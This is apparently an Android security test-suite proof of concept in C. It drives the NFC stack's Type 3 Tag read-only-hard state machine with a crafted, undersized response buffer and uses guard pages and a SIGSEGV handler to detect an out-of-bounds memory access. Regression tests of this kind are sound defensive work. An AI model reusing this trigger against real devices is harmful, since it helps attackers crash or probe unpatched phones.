1 /*
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <nfc_int.h>
18 #include <rw_int.h>
19 #include <dlfcn.h>
20 #include <unistd.h>
21
22 #include "../includes/common.h"
23 #include "../includes/memutils.h"
24
25 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
26
27 char enable_selective_overload = ENABLE_NONE;
28 char *vulnPtr = nullptr;
29
30 bool testInProgress = false;
31 struct sigaction new_action, old_action;
sigsegv_handler(int signum,siginfo_t * info,void * context)32 void sigsegv_handler(int signum, siginfo_t *info, void* context) {
33 if (testInProgress && info->si_signo == SIGSEGV) {
34 const size_t page_size = getpagesize();
35 const size_t page_mask = (~(page_size - 1));
36 if (page_size) {
37 char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & page_mask) + page_size;
38 char *faultPage = (char *) ((size_t) info->si_addr & page_mask);
39 if (faultPage == vulnPtrGuardPage) {
40 (*old_action.sa_sigaction)(signum, info, context);
41 return;
42 }
43 }
44 }
45 _exit(EXIT_FAILURE);
46 }
47
48 extern tRW_CB rw_cb;
49 extern tNFC_CB nfc_cb;
50 void rw_init(void);
51 tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
52 uint8_t mrti_check, uint8_t mrti_update);
53
54 static void (*real_GKI_freebuf)(void* ptr) = nullptr;
55 void *kAllocatedPointers[2];
56 int allocatedPointersIndex = -1;
57 bool kIsInitialized = false;
58
init(void)59 void init(void) {
60 real_GKI_freebuf = (void (*)(void*))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
61 if (!real_GKI_freebuf) {
62 return;
63 }
64
65 kIsInitialized = true;
66 }
67
GKI_freebuf(void * ptr)68 void GKI_freebuf(void* ptr) {
69 if (!kIsInitialized) {
70 init();
71 }
72 if (ptr == kAllocatedPointers[0] || ptr == kAllocatedPointers[1]) {
73 return;
74 } else {
75 real_GKI_freebuf(ptr);
76 }
77 }
78
allocate_memory(size_t size)79 void *allocate_memory(size_t size) {
80 void *ptr = memalign(16, size);
81 memset(ptr, 0x0, size);
82 kAllocatedPointers[++allocatedPointersIndex] = ptr;
83 return ptr;
84 }
85
86 // borrowed from rw_i93.cc
87 enum {
88 RW_T3T_CMD_DETECT_NDEF,
89 RW_T3T_CMD_CHECK_NDEF,
90 RW_T3T_CMD_UPDATE_NDEF,
91 RW_T3T_CMD_CHECK,
92 RW_T3T_CMD_UPDATE,
93 RW_T3T_CMD_SEND_RAW_FRAME,
94 RW_T3T_CMD_GET_SYSTEM_CODES,
95 RW_T3T_CMD_FORMAT,
96 RW_T3T_CMD_SET_READ_ONLY_SOFT,
97 RW_T3T_CMD_SET_READ_ONLY_HARD,
98
99 RW_T3T_CMD_MAX
100 };
101
102 // borrowed from rw_i93.cc
103 enum {
104 RW_T3T_STATE_NOT_ACTIVATED,
105 RW_T3T_STATE_IDLE,
106 RW_T3T_STATE_COMMAND_PENDING
107 };
108
109 // borrowed from rw_i93.cc
110 enum {
111 /* Sub states for formatting Felica-Lite */
112 RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
113 formatting) */
114 RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
115 block-read to complete */
116 RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
117 block-write to complete */
118 RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
119 to complete */
120
121 /* Sub states for setting Felica-Lite read only */
122 RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
123 setting read only) */
124 RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
125 to complete */
126 RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
127 block-read to complete */
128 RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
129 block-write to complete */
130 };
131
cback(tRW_EVENT event,tRW_DATA * p_data)132 void cback(tRW_EVENT event __attribute__((unused)),
133 tRW_DATA* p_data __attribute__((unused))) {
134 }
135
main()136 int main() {
137 sigemptyset(&new_action.sa_mask);
138 new_action.sa_flags = SA_SIGINFO;
139 new_action.sa_sigaction = sigsegv_handler;
140 sigaction(SIGSEGV, &new_action, &old_action);
141 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
142
143 GKI_init();
144 rw_init();
145
146 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
147 uint8_t mrti_check = 1, mrti_update = 1;
148 enable_selective_overload = ENABLE_MEMALIGN_CHECK;
149 if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
150 return EXIT_FAILURE;
151 }
152
153 tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
154 if (!p_data) {
155 return EXIT_FAILURE;
156 }
157 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
158 enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
159 if (!(p_data->data.p_data)) {
160 free(p_data);
161 return EXIT_FAILURE;
162 }
163 vulnPtr = (char *)p_data->data.p_data;
164 p_data->status = NFC_STATUS_OK;
165
166 p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
167 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
168 p_t3t->rw_substate = RW_T3T_SRO_SST_CHECK_MC_BLK;
169
170 NFC_HDR* p_msg = (p_data->data).p_data;
171 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
172
173 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
174 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
175 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
176
177 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
178 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = T3T_MSG_FELICALITE_MC_OFFSET;
179
180 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
181 tNFC_CONN_EVT event = NFC_DATA_CEVT;
182 TIMER_LIST_ENT pFirst = { };
183 nfc_cb.quick_timer_queue.p_first = &pFirst;
184
185 rw_cb.p_cback = &cback;
186 testInProgress = true;
187 p_cb->p_cback(0, event, p_data);
188 testInProgress = false;
189
190 free(p_data->data.p_data);
191 free(p_data);
192
193 return EXIT_SUCCESS;
194 }
195